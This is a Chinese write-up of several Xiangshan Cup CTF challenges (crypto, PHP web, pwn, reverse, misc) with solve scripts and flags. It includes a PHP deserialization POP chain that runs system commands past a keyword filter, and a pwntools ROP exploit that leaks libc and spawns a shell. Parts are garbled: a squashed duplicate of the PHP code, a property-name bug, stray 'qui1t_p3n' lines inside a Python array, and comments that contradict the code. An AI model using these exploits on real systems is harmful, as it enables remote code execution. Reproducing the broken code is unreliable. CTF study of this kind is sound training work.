香山杯-喵帕斯
香山杯 喵帕斯
感谢明琦和yolo师傅
签到
base64+凯撒
flag{we1c0m3_2_Ctf}
list
题目附件
import os
import gmpy2
from Crypto.Util.number import *
import random
from secrets import flag
def pad(s,l):
return s + os.urandom(l - len(s))
def gen():
g = getPrime(8)
while True:
p = g * random.getrandbits(138) + 1
if isPrime(p):
break
while True:
q = g * random.getrandbits(138) + 1
if isPrime(q):
break
N = p ** 5 * q
phi = p ** 4 * (p - 1) * (q - 1)
d = random.getrandbits(256)
e = inverse(d, phi)
E = e * g
hint = gmpy2.gcd(E, phi)
return N, E, hint
flag = pad(flag,64)
m = bytes_to_long(flag)
n,e,hint = gen()
c = pow(m,e,n)
print(f'hint = {hint}')
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
# hint = 251
# n = 108960799213330048807537253155955524262938083957673388027650083719597357215238547761557943499634403020900601643719960988288543702833581456488410418793239589934165142850195998163833962875355916819854378922306890883033496525502067124670576471251882548376530637034077
# e = 3359917755894163258174451768521610910491402727660720673898848239095553816126131162471035843306464197912997253011899806560624938869918893182751614520610693643690087988363775343761651198776860913310798127832036941524620284804884136983215497742441302140070096928109039
# c = 72201537621260682675988549650349973570539366370497258107694937619698999052787116039080427209958662949131892284799148484018421298241124372816425123784602508705232247879799611203283114123802597553853842227351228626180079209388772101105198454904371772564490263034162
首先要恢复 p,q.
恢复p、q后就是在有限域内开高次方的问题。
恢复p、q参考论文:https://eprint.iacr.org/2015/399.pdf
$e*d=1\textbf{ }mod\textbf{ }phi,gcd(e,phi)=1\Rightarrow$
$ex-1=kphi\Rightarrow$
$因为n=p^{r}q,所以gcd(ex-1,n)=gcd(p^{r}(p-1)(q-1),p^{r}*q)=p^{r}$
在多项式时间内求解上面方程,用 small_roots() 就能恢复 p
exp
from gmpy2 import *
N = 108960799213330048807537253155955524262938083957673388027650083719597357215238547761557943499634403020900601643719960988288543702833581456488410418793239589934165142850195998163833962875355916819854378922306890883033496525502067124670576471251882548376530637034077
E = 3359917755894163258174451768521610910491402727660720673898848239095553816126131162471035843306464197912997253011899806560624938869918893182751614520610693643690087988363775343761651198776860913310798127832036941524620284804884136983215497742441302140070096928109039
c = 72201537621260682675988549650349973570539366370497258107694937619698999052787116039080427209958662949131892284799148484018421298241124372816425123784602508705232247879799611203283114123802597553853842227351228626180079209388772101105198454904371772564490263034162
e = E//g
PR.<x> = PolynomialRing(Zmod(N))
f = e*x - 1
res = f.monic().small_roots(X=2^256,beta=0.44)[0]
p = iroot(gcd(int(f(res)),N),4)[0]
q = N//p^5
print('p,q=',p,q)
# sage
# 开251次方
from Crypto.Util.number import *
import itertools
hint = 251
n = 108960799213330048807537253155955524262938083957673388027650083719597357215238547761557943499634403020900601643719960988288543702833581456488410418793239589934165142850195998163833962875355916819854378922306890883033496525502067124670576471251882548376530637034077
e = 3359917755894163258174451768521610910491402727660720673898848239095553816126131162471035843306464197912997253011899806560624938869918893182751614520610693643690087988363775343761651198776860913310798127832036941524620284804884136983215497742441302140070096928109039
c = 72201537621260682675988549650349973570539366370497258107694937619698999052787116039080427209958662949131892284799148484018421298241124372816425123784602508705232247879799611203283114123802597553853842227351228626180079209388772101105198454904371772564490263034162
p,q=69367143733862710652791985332025152581988181 ,67842402383801764742069883032864699996366777
p_list = [p,q]
mi = [5, 1]
# print(len(mi),len(p_list))
n_list = [ZZ(p_list[i]) ** mi[i] for i in range(len(mi))]
# print(n_list)
# print(reduce((lambda x, y: x * y), n_list) - n) # 0
# print(euler_phi(p_list[0])) # 直接求欧拉函数
res=[]
for pi in n_list:
d = inverse(int(e//251),euler_phi(pi)) # 对n_listt 每一个 pi 求欧拉函数
m = pow(c,d,pi) # m = mm^108
res.append(Zmod(pi)(m).nth_root(251, all=True)) # nth_root # 最后一部分把 e 的公因数 108 去除之后用 sage 的 nth_root 直接开根即可,爆破大概7分钟。
# 在每一个pi环里 找到可以开108次方的放进result里面
# 在环里开108次方
# 会出来 9 个 list表 对应每个 pi
for vc in itertools.product(*res):
_c = [int(x) for x in vc]
m = long_to_bytes(int(crt(_c, n_list)))
if b"flag" in m:
print(m)
# b'flag{4b68c7eece6be865f6da2a4323edd491}\x9d\xcf\xdc\xcb\xb8\xbdd\xec\xadh\xa6C\x99\xa0)7\xfb\x02\xba\x90q8\x10+\x7f}'
PHP_unserialize_pro
源码
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'welcome';
public function __construct(){
$this->name = 'Wh0 4m I?';
}
public function __destruct(){
if($this->name == 'A_G00d_H4ck3r'){
echo $this->arg;
}
}
}
class G00d{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
die("U R A BAD GUY");
}
eval($shell($cmd));
}
}
class H4ck3r{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
if(isset($_GET['data']))
unserialize($_GET['data']);
else
highlight_file(__FILE__);
?>
反序列化 最后记得绕过对f1ag
的过滤
<?php
class Welcome
{
public $name;
public $arg='welcome';
public function __construct(){
$this->name = 'Wh0 4m I?';
}
public function __destruct(){
if($this->name == 'A_G00d_H4ck3r'){
echo $this->arg;
}
}
}
class G00d
{
public $shell;
public $cmd;
}
class H4ck3r
{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
$a = new Welcome();
$a->name = 'A_G00d_H4ck3r';
$a->arg = new H4ck3r();
$a->arg->func = new G00d();
$a->arg->func->shell = 'system';
$a->arg->func->$cmd = 'cd /;more `php -r "echo chr(102).chr(49).chr(97).chr(103);"`';
echo urlencode(serialize($a));xxxxxxxxxx <?php<?phpclass Welcome{ public $name; public $arg='welcome'; public function __construct(){ $this->name = 'Wh0 4m I?'; } public function __destruct(){ if($this->name == 'A_G00d_H4ck3r'){ echo $this->arg; } } }class G00d{ public $shell; public $cmd;}class H4ck3r{ public $func; public function __toString(){ $function = $this->func; $function(); } }$a = new Welcome();$a->name = 'A_G00d_H4ck3r';$a->arg = new H4ck3r();$a->arg->func = new G00d();$a->arg->func->shell = 'system';$a->arg->func->$cmd = 'cd /;more `php -r "echo chr(102).chr(49).chr(97).chr(103);"`';echo urlencode(serialize($a));
Move
64 位小端序
IDA 反编译
再 bss 段输入 0x20 个字节,然后判断,成功则获得 0x10 个字节溢出
1、利用 bss 段泄露 libc
from pwn import *
from LibcSearcher import *
context(arch='amd64',log_level='debug',os='linux')
io = process('./pwn')
pop_rdi_ret = 0x0000000000401353 #: pop rdi ; ret
elf = ELF('./pwn')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
shellcode = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendafter('lets travel again!\n',shellcode) #shellcode 刚 好 0x20 个 字 节 , 所 以 不 能 使 用
sendline,不然会产生回车多出了一个字节
io.sendafter('Input your setp number','\x78\x56\x34\x12') #由于是小端序,所以 0x12345678 要
反着写,也要使用 send,不能使用 sendline
bss = 0x04050A0
leave_ret = 0x040124B
payload = 'a'*0x30 + p64(bss-8) + p64(leave_ret) #劫持 ebp 为 bss 的前八个字节地址(因为两
个 leave,ret 会往后跳 8 个字节)--跳转到 bss 执行 shell
io.sendafter('TaiCooLa',payload) #也要使用 send,不能使用 sendline
puts = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) #泄露 puts 函数的真实地址
print(hex(puts))
2、泄露 libc
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
3、执行 shell
shellcode = p64(pop_rdi_ret) + p64(bin_sh) + p64(system) + p64(main)
io.sendafter('lets travel again!\n',shellcode)
payload = 'a'*0x30 + p64(bss-8) + p64(leave_ret)
io.interactive()
最终 exp
from pwn import *
from LibcSearcher import *
context(arch='amd64',log_level='debug',os='linux')
io = process('./pwn')
pop_rdi_ret = 0x0000000000401353 #: pop rdi ; ret
elf = ELF('./pwn')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
shellcode = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendafter('lets travel again!\n',shellcode)
io.sendafter('Input your setp number','\x78\x56\x34\x12')
bss = 0x04050A0
leave_ret = 0x040124B
payload = 'a'*0x30 + p64(bss-8) + p64(leave_ret)
io.sendafter('TaiCooLa',payload)
puts = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(puts))
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
shellcode = p64(pop_rdi_ret) + p64(bin_sh) + p64(system) + p64(main)
io.sendafter('lets travel again!\n',shellcode)
payload = 'a'*0x30 + p64(bss-8) + p64(leave_ret)
io.interactive()
URL从哪儿来
拖到32位ida反编译后发现进行了写入文件的操作,下断点动调
双击跟进 TempFlieName 找到文件名和路径
一直运行程序发现进行了 CloseHandle 和 DeleteFileA 的操作
重新动调,在 CloseHandle 操作前下断点然后去查看生成的临时tmp文件
因为开启第二次动调,发现每次生成文件的文件名都不同,这次是7379
用010打开发现文件头是PE的头
改后缀为.exe后拖入ida分析
先是拿到一堆数据
发现进行了赋值到Block并进行了-30 的操作
跟进一下sub_401110()函数
简单分析一下走了一个base64解码
import base64
cipher = [0x78,
0x8B,
0x96,
0x86,
0x78,
0x51,
0x91,
0x50,
0x6C,
0x62,
0x77,
0x53,
0x6C,
0x88,
0x63,
0x50,
0x78,
0x71,
0x4E,
0x50,
0x6B,
0x98,
qui1t_p3n
qui1t_p3n
0x77,
0x53,
0x6A,
0x72,
0x77,
0x97,
0x6C,
0x8B,
0x77,
0x92,
0x6C,
0x98,
0x63,
0x50,
0x6D,
0x71,
0x4E,
0x51,
0x6C,
0x62,
0x77,
0x96,
0x6C,
0x98,
0x5F,0x50,
0x6B,
0x72,
0x81,
0x51,
0x6C,
0x88,
0x64,
0x57]
code = ""
for i in range(len(cipher)):
code += chr(cipher[i] - 30)
print(code)
print(base64.b64decode(code))
#输出结果:
#ZmxhZ3s2NDY5NjE2ZS02MzY5LTYyNmYtNzE2OS03NDYxNzA2MTc3NjF9
#b'flag{6469616e-6369-626f-7169-746170617761}’
pintu
用montage和gaps搞了半天拼图 以为是二维码
然后并不行 查看了几个图片的大小 发现宽度都是65 但是高度各不相同
写个脚本 分析这4703张图片的高度 并将相同高度的图片放到相同文件夹中
import os
from PIL import Image
import shutil
# 输入文件夹的路径
input_folder = "E:\Desktop/2023香山杯\misc\pintu_26914c79abf08a72af534387e23ffdf6\pintu"
# 创建一个字典,用于存储不同高度的图片列表
height_to_images = {}
# 遍历输入文件夹中的图片
for filename in os.listdir(input_folder):
if filename.endswith(".jpg") or filename.endswith(".png"):
file_path = os.path.join(input_folder, filename)
# 打开图片并获取其高度
with Image.open(file_path) as img:
height = img.height
# 如果高度不在字典中,则创建一个新列表
if height not in height_to_images:
height_to_images[height] = []
# 将图片添加到对应高度的列表中
height_to_images[height].append(filename)
# 遍历字典,将同一高度的图片复制到对应的输出文件夹中
for height, images in height_to_images.items():
# 创建输出文件夹
output_folder = os.path.join("output_folder", str(height))
os.makedirs(output_folder, exist_ok=True)
for image_filename in images:
input_path = os.path.join(input_folder, image_filename)
output_path = os.path.join(output_folder, image_filename)
# 复制图片
shutil.copy(input_path, output_path)
print("图片分类完成")
再加上提示的tip.jpg
联想到8进制转10进制 再看高度也符合8进制的特点
写个脚本将所有图片的高度提取出来
import os
from PIL import Image
# 输入文件夹的路径
input_folder = "E:\Desktop\pintu\pintu"
# 创建一个空的文本文件用于写入高度数据
output_file = "E:\Desktop\pintu\pintu/height.txt"
# 获取文件夹中所有图片文件的列表
image_files = [filename for filename in os.listdir(input_folder) if filename.endswith((".png"))]
# 打开文本文件以进行写入
with open(output_file, "w") as f:
# 遍历文件夹中的图片文件列表
for i in range(1, 4074):
filename = f'{i}.png'
img = Image.open(f'{input_folder}/{filename}')
height = img.height
# 将高度写入文本文件,按顺序
f.write(f"{height}"+" ")
print("高度数据已按顺序写入 height.txt 文件")
再将其转8进制 再将其转ascii码
JRFTC5SFG5SU4STVHBTTCR2SKVSE2NKVIUYFCS2MOVFUWMLLGVKWITKLJZSE2NKVMRFUWY3EJU3VKZCNGVKU2SKQMNXE2WCVMRGTKVKNMM2XMRKLGE2US5SEOFWTMRDRNZVTO5LNGZCGYWDVOVYUG5KYKVWTMRDRMRBG4ZDNGZJE4TLWIRYWITJVOVWTMUSOMRGXK4LONM2VK3JWIRWGITJVMRWTMUSVJV3FEVLEJU2XKZCCNZKWITJVJZSE2NKVNZVTOVLEJU2VCWDVGVKUKTLEOFWTMRDMMRGTKVKYOU3XIRJWKJKGITJVKVSGEODQNJ2UWWCLGB2WWTDCOU3EWQRQJRCXKWDFMRBDINLJGVXEUSRPMFEUW5TYOFFEEWCTORGVQSBRNNJHKS2HKRDXIVSSOVEXE5JWNJGWCWCLIJIXATBXNZVUYQRROVIVMMDNORFWKR2JOJFU2S2JGBLEKTKQOFGU4UKGJN2FEUCNKY2EQQKOKVFU2TJVLBXESS3NMQXVMNZZKY2UQTJPMVSU2S2RINUXKMLVKFCW64KLJMZXO2JVJNEGI6JQO5GDKVJWOQ3TAMSLJVFFU2SNGAYW4Y2YMFGWWUSINJ2WY53EGA4WYTJWHB4GSZ2LJI4WENDWJQ3TKTBTG5LE45DHJNSUULZVOBFFMMJSJN2U2NSRM4YTSOKWMEZEYN3BOQ4UKZLDNFGVQ4SNJNIUUOJXNZ3FC23OOJFXONLZKFETQMTOI43VGSKNKBKTCVSQINUWENCLGFDWCYTJJU2GISLHGR3TG4SRIMZUES2YNZDTAMDUJUYEKTJQGV4ES6JRNVFWGMCUJI3XKN2NKZ4E45CHGB2DGYTBKFMHS33XIVHGK6KFO4YTCQ2CGRZG4VSYIFIWE6DXINZEW4BTI5QUC2LSG5LESVTOIF2E4YKTGM3TIVCKMIYTE3KHJMXXIY3PI52EK3TVNFZEWYKNO5LGW2SCKZYEK5ZUNQZXKODXLBCW4MJRKZFVAZCLKM3DSYRYKBXE4NCIJJVTE4KFKZITA2KJMR3UWQRUMFUWENDWJJHFCNDNNNJFGMZXMEXXIYTBKBIU2ZJPJIXVCSKYOI2HU5DHKM3USRJZOFGS642OGFDVQU3JGAYUW2TXGRAUS5KEKBXE2222JRTTG4BRIU2TMOKNGJ3UCTRVIZVESWCNNZRUWVSLJU2EM5COJM3VC5ZRMRXDA3ZXNFCTKWCKJZIWMMLDGREWUQTPJZUXSMBXNFTVQSCLIIZVI2TCNRIEK22LGZEWEUTMJU2WCZJZJV4FU2SJMVDFQVRXGFFGWUBYJJZG46CYGUYHSWBPGU4EWYRQJFVGEMLLNVVTS4KNOQ4DKSSHLAYDGRJVNBFUSNKFNZHDI2CFOU3U2M2NMFWUGSKSMFMGWN2WGM3TAOBTF42EEZDCHFWFQTLMOAZU
再将图片的颜色的黑白 转化为0和1
from PIL import Image
import os
color = ""
a = []
for i in range(1,4704):
img = Image.open("./{}.png".format(i))
width,height=img.size
tmp = img.getpixel((0,0))
if (tmp == (0,0,0)):
color += "0"
elif(tmp == (255,255,255)):
color += "1"
a.append(chr(int(str(height), 8 )))
print(color)
在转字符串
得到换表
保存为图片
但是少文件尾
用脚本进行上述步骤 就可以补全文件尾
from PIL import Image
from libnum import n2s
from base64 import b32decode, b64decode
import os
bin_data = ''
dec_data = ''
image_directory = './pintu/'
for i in range(1, 4704):
image_path = os.path.join(image_directory, f'{i}.png')
if os.path.exists(image_path):
# Open the image and extract data
with Image.open(image_path) as image:
pixel = image.getpixel((0, 0))
dec_data += chr(int(str(image.height), 8))
bin_data += '1' if pixel == (255, 255, 255) else '0'
bin_data = bin_data.ljust(((len(bin_data) + 7) // 8) * 8, '0')
new_b64 = 'sUvcu5rgSeAmJQCfdXtEMKIB91Lj3niOo4hyV0b/2azpx8HqZP6wk7GNlTFYDR+W'
old_b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
data = ''
for dec in dec_data.split(' '):
data += chr(int(dec, 10))
data = b32decode(data).decode()
trans = ''.maketrans(new_b64, old_b64)
b64png = b64decode(data.translate(trans)).decode().split(' ')[0]
png_data = b64decode(b64png)
with open('./flag.png', 'wb') as f:
f.write(png_data)
一眼抽象画npiet解密
.\npiet.exe -tpic E:\Desktop\pintu\flag.png
得到flag